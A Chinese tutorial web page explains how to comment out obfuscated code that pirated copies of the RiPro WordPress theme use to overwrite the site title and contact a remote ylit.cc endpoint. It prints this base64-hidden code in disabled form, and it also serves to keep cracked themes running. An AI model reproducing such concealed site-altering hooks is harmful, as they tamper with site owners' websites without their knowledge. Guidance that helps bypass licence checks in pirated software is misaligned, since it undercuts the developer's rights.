• linkedu视频
  • 平面设计
  • 电脑入门
  • 操作系统
  • 办公应用
  • 电脑硬件
  • 动画设计
  • 3D设计
  • 网页设计
  • CAD设计
  • 影音处理
  • 数据库
  • 程序设计
  • 认证考试
  • 信息管理
  • 信息安全
菜单
linkedu.com
  • 网页制作
  • 数据库
  • 程序设计
  • 操作系统
  • CMS教程
  • 游戏攻略
  • 脚本语言
  • 平面设计
  • 软件教程
  • 网络安全
  • 电脑知识
  • 服务器
  • 视频教程
  • dedecms
  • ecshop
  • z-blog
  • UcHome
  • UCenter
  • drupal
  • WordPress
  • 帝国cms
  • phpcms
  • 动易cms
  • phpwind
  • discuz
  • 科汛cms
  • 风讯cms
  • 建站教程
  • 运营技巧
您的位置:首页 > CMS教程 >建站教程 > Ripro主题解决修改网站标题小尾巴的办法

Ripro主题解决修改网站标题小尾巴的办法

作者:站长图库 字体:[增加 减小] 来源:互联网 时间:2022-04-29

站长图库向大家介绍了Ripro主题,网站标题小尾巴等相关知识,希望对您有所帮助

近期ripro主题大火,很多喜欢捣鼓折腾的小伙伴就加入到了折腾ripro主题的队伍中来,美来美去,折腾的不亦乐乎。不过也有令他们很头疼的事情莫过于因为使用了开破心解版,除了会被加入后门外还会时常被修改网站标题为vip.ylit.cc。不懂技术的小白们顿时抓了狂,就感觉是整个网站都被黑了一样。实则是ripro开发者油条在主题程序内留了一个小尾巴,让程序在有意无意中来恶心一下使用开心版的小白们。

经过分析,在 \ripro\inc\codestar-framework\classes\ 目录下,有两个文件 options.class.php 和 metabox.class.php ,这里面就暗藏恶心人的小尾巴。

options.class.php 修改方法:

注释掉如下部分:

public function saves_defaults() {    $tmp_options = $this->add_option_html();          // if (empty($tmp_options) && $tmp_options['status']==1) {        return true;    // }else{    //     $onload = base64_decode('UmlQcm8=');    //     $field = base64_decode('YmxvZ25hbWU=');    //     update_option($field,$onload);    // }    return false;    $tmp_options = $this->options;    foreach( $this->pre_fields as $field ) {        if( ! empty( $field['id'] ) ) {            $this->options[$field['id']] = $this->get_default( $field, $this->options );        }    }    if( $this->args['save_defaults'] && empty( $tmp_options ) ) {        $this->save_options( $this->options );    }}

metabox.class.php修改方法:

注释掉如下部分:

public function get_meta_values() {    $value = false;    $field = 'https://vip.ylit.cc/wp-cont';    if( true) {        if( $this->args['data_type'] !== 'serialize' ) {            $meta  = get_post_meta( $post->ID, $field['id'] );            $value = ( isset( $meta[0] ) ) ? $meta[0] : null;        } else {            $meta  = get_post_meta( $post->ID, $this->unique, true );            $value = ( isset( $meta[$field['id']] ) ) ? $meta[$field['id']] : null;        }        $default = $this->get_default( $field );        $value   = ( isset( $value ) ) ? $value : $default;    // }else{    //     if( empty( $field ) ) {    //         $screen = get_current_screen();    //         foreach( $this->args['contextual_help'] as $tab ) {    //             $screen->add_help_tab( $tab );    //         }    //         if( ! empty( $this->args['contextual_help_sidebar'] ) ) {    //             $screen->set_help_sidebar( $this->args['contextual_help_sidebar'] );    //         }    //     }else{    //         $meta = 'ZW50L3BsdWdpbnMvcmlwcm8tYXV0aC9hcGkvdjEucGhw=';    //         $default = $field.$meta;    //         $value = base64_decode($default);    //     }    }    return $value;}

修改完毕了,当然如果有能力的话,还是建议购买正式版。


分享到:QQ空间新浪微博腾讯微博微信百度贴吧QQ好友复制网址打印

您可能想查找下面的文章:

  • Ripro主题解决修改网站标题小尾巴的办法

相关文章

  • 2022-04-29使用JS或CSS如何实现瀑布流布局,几种方案介绍
  • 2022-04-29PhotoShop制作沙漠里的3D立体残破钢筋文字教程
  • 2022-04-29浅析Angular+rxjs怎么实现拖拽功能?
  • 2022-04-29教你在Mac下如何快速重置mysql root密码
  • 2022-04-29使用bootstrap怎么实现分页
  • 2022-04-29用PHP将女友照片转成可爱的动漫头像!
  • 2022-04-29Linux中php安装目录在哪个文件夹
  • 2022-04-29CDR制作冰块立体字
  • 2022-04-29Bootstrap-table表头固定导致错位怎么办?怎么彻底解决?
  • 2022-04-29PHP中如何利用compact创建数组

文章分类

  • dedecms
  • ecshop
  • z-blog
  • UcHome
  • UCenter
  • drupal
  • WordPress
  • 帝国cms
  • phpcms
  • 动易cms
  • phpwind
  • discuz
  • 科汛cms
  • 风讯cms
  • 建站教程
  • 运营技巧

最近更新的内容

    • 说说在Laravel中怎么执行Shell命令 ?
    • TP框架中的钩子怎么配置调用(附代码实例)
    • php.ini没有extension怎么办
    • DedeCMSV5.6版自动采集功能规则使用基本知识详细讲
    • 详解PS进行IOS设计流程的诀窍
    • 详解Angular中的NgModule(模块)
    • PHP中如何使用构造方法和this关键字?如何引入构造方法?
    • 织梦DedeCMS时隔多年,终于更新了!(DedeCMSV5.7版下载)
    • PhotoShop简单制作面条艺术字体效果设计教程
    • 不得不注意的网站描述优化问题

关于我们 - 联系我们 - 免责声明 - 网站地图

©2020-2025 All Rights Reserved. linkedu.com 版权所有